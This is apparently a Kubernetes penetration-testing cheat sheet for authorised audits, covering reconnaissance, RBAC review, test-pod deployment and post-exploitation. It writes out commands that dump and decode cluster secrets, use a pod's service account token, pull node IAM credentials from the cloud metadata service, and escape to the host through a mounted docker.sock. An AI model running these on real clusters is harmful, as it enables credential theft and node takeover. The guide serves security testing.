Access & Pre-Reqs


Prerequisites: az cli, aws cli, aws-azure-login (npm/nodejs), kubectl

See Cloud Audit Tools for cloud authentication setup. For EKS environments with non-standard role assumption, see EKS assume-role + update-kubeconfig script.


Initial Discovery & Situational Awareness


  • Establish cluster, user, and default namespace.
kubectl config view
  • Get basic cluster information.
kubectl version
kubectl cluster-info
  • List all resources in a target namespace.
kubectl get all -n <namespace> -o wide
kubectl get all -o wide --all-namespaces
  • List Service Accounts.
kubectl get serviceaccounts -n <namespace>
  • List Services to identify running applications and internal endpoints.
kubectl get services -n <namespace>
  • List Secrets Look for things like api-key, password, db-user, AWS_SECRET_ACCESS_KEY etc. TYPE:Opaque may also be interesting. dockercfg generally are not useful
kubectl get secrets -n <namespace>

# Dig deeper & decode
kubectl get secret [secret-name] -n <namespace> -o yaml
echo 'encoded base64 string' | base64 --decode 
  • Dump dockercfg/dockerconfig secrets
kubectl get secrets -n <namespace> -o json | jq -r '.items[] | select(.type=="kubernetes.io/dockercfg" or .type=="kubernetes.io/dockerconfigjson") | {name: .metadata.name, type: .type, data: .data | map_values(@base64d)}' > decoded_secrets.txt
  • List Custom Resource Definitions (CRDs) Indicates custom operators/software. This is a cluster-wide check._
kubectl get crd
  • List EKS clusters and describe.
    Assumes AWS CLI is configured
aws eks list-clusters
aws eks describe-cluster --name <cluster-name> --region <region>

Scanning


nmap *Check services here: Kubernetes

nmap -n -T4 -sS -sV -p- <target-node-ips>
nmap -sU <target-node-ips>

trivy Updated kubeconfig needed

trivy k8s --include-namespaces [namespace1,namespace2,namespace3] --report=all

checkov

# Point checkov to a directory containing your IaC files
checkov -d /path/to/manifests/

Manual Security & RBAC Audit


  • List your own allowed actions.

    # Cluster-wide
    kubectl auth can-i --list
    
    # Specific namespace
    kubectl auth can-i --list -n <namespace>
    
  • List Cluster-wide Role Bindings.

    Focus on bindings that grant powerful roles (like cluster-admin) to broad groups (e.g., system:authenticated).

    kubectl get clusterrolebindings -o wide
    
  • List Namespace-specific Role Bindings.

kubectl get rolebindings -n <namespace> -o wide
  • Audit targeted Service Account privileges.

    Use the --as flag to impersonate the Service Account.

kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<serviceaccountname> -n <namespace>
  • Privileged pods running?
Find pods
kubectl get pods -n <namespace> -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'

# Evidence from specific pod
kubectl get pod -n [namespace] [pod_from_above] -o yaml | grep "runAsNonRoot: false" -A5 -B5
  • Pods running as root?
# Find pods
kubectl get pods -n <namespace> -o json | jq -r '.items[] | select(.spec.containers[].securityContext.runAsNonRoot != true) | .metadata.name'

# Verify from specific pod
kubectl get pod -n [namespace] [podname] -o yaml | grep -i "runAsNonRoot" -A5 -B5
kubectl get deployment 

# Exec in and check check
kubectl exec -it [podname] -n [namespace] -- id


  • Find Pods with Host Path Mounts. Look for sensitive host paths like /, /etc, or /var/run/docker.sock.
kubectl get pods -n <namespace> -o json | jq '.items[] | select(.spec.volumes[].hostPath != null) | {name: .metadata.name, hostPaths: .spec.volumes[].hostPath}'
  • Check ConfigMap, NetworkPolicy,

Exploitation via Malicious Pod Deployment


  • Simulate an attacker who has gained pods/create permissions.

    Use your auditor credentials for the sole purpose of deploying a minimal, non-privileged pod from your curated pentest repository to test the impact.

  • Create a minimal pod manifest.

    This manifest is explicitly non-privileged and does not request privileged context or hostPath mounts.

    # pentest-pod.yaml
    apiVersion: v1
    kind: Pod
    metadata:
      name: pentest-pod
      namespace: <target-namespace>
    spec:
      containers:
      - name: pentest-container
        # Image from your curated pentest repo with tools
        image: your-curated-repo/pentest-tools/net-tools:latest
        command: ["sleep", "3600"] # Keep the pod running for exec access
    
  • Deploy the pod to the target namespace.

    kubectl apply -f pentest-pod.yaml
    

Phase 5: Post-Exploitation & Container Breakout**


  • Rules of Engagement: Your initial auditor credentials are now out of scope. All actions must be performed from within the pentest-pod, using only its resources.

  • Exec into the pod to get a shell.

kubectl exec -it [pod] -n [namespace] -- /bin/sh
kubectl exec --stdin --tty [podname] -- /bin/bash
  • Perform initial checks inside the container.
# Inside the pod's shell:
id
uname -a
ip route
  • Retrieve the pod’s mounted Service Account token.
# Inside the pod's shell:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
 
# Use the token to interact with the K8s API
curl -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/<target-namespace>/secrets
  • Attempt to get node credentials from the cloud provider metadata service.

    • AWS/EKS:

      curl [http://169.254.169.254/latest/meta-data/iam/security-credentials/](http://169.254.169.254/latest/meta-data/iam/security-credentials/)<node-iam-role-name>
      
    • Azure/AKS:

      curl -H Metadata:true "[http://169.254.169.254/metadata/instance?api-version=2021-02-01](http://169.254.169.254/metadata/instance?api-version=2021-02-01)"
      
  • Perform internal network reconnaissance.

    Tip: If tools aren’t in the image, compile a static binary (e.g., nmap) and kubectl cp it into the pod.

    # Example: Scan for internal services like Prometheus/Grafana dashboards
    ./nmap-static -p 9090,3000 <internal-service-ip-range>
    
  • Look for node escape vectors.

    If a compromised pod has a docker.sock mount, use it to break out.

    # From a pod with docker client installed and docker.sock mounted
    docker run -it --rm -v /:/host alpine chroot /host